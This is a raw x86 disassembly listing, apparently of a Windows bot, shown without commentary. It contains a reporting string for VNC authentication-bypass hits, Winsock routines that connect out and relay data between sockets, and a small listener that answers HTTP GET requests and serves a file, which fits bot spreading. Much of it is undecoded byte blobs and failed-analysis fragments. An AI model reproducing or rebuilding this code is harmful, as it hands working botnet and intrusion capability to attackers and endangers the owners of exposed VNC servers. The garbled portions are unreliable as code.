loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431440[eax]
		push	ebx
		lea	eax, dword_431440[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCE0
		nop
		call	near ptr 2700000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCD4
		nop
		call	near ptr 2710000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFF4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h,	0B02415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h
		dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh,	68358B00h
		dd 57004270h, 875FF57h,	0B03815FFh, 0E4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh
		dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h
		dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 2001E890h, 0FF500231h, 4CDCD835h, 0F4E89000h, 5002311Fh
		dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43353Ch, 0C1E89057h, 8D022719h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	281EE7E8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 281ECFE8h, 0FF6A9002h, 0FFF04589h, 0E890D875h, 22920B2h
		dd 0F075FF57h, 27D7E890h, 0FF570229h, 0CEE8EC75h, 90022927h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 230256Ch
		dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh
		dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCEC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h,	15FFF05Dh
		dd 4CB024h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2E186BE8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h
		dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF38h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Eh, 530000FFh, 9E63E8h, 0ECA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h
		dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h,	403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22E1770h, 57056A90h, 0AFCC15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35446850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2E166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	5238E802h
		dd 8B90716Ah, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 83E8570Ah, 90716A73h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h
		dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0C68156Ah, 50004338h, 3BE9D3FFh, 56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 468FFFFh, 50004338h,	0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337FCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337E468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337DC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337C468h
		dd 8D61EB00h, 0FFFF5085h, 37BC68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 37AC680Dh, 40EB0043h, 0FF50858Dh
		dd 0A468FFFFh, 50004337h, 0D40BE8h, 0C0855900h,	560A7559h
		dd 9068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43378Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43376Ch
		dd 2F1E957h, 64BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43374C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433748h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433734h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 43372Ch, 0D352E850h, 85590000h, 347559C0h
		dd 0BE0A6Ah, 59004337h,	0FED8BD8Dh, 0A5F3FFFFh,	0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0F868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36E0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336D8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 4336B068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 4336A868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43369Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43367C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43367468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43364868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 43362Ch, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 36146817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35F468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDAB0h, 562EEB59h, 0D068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C9C0h, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 4335B4h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CDCF8, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCF8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 26802A6h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 26904AEh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAFA4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEEC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB040
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE90
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB03C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA60 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43384C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB03C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433824
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
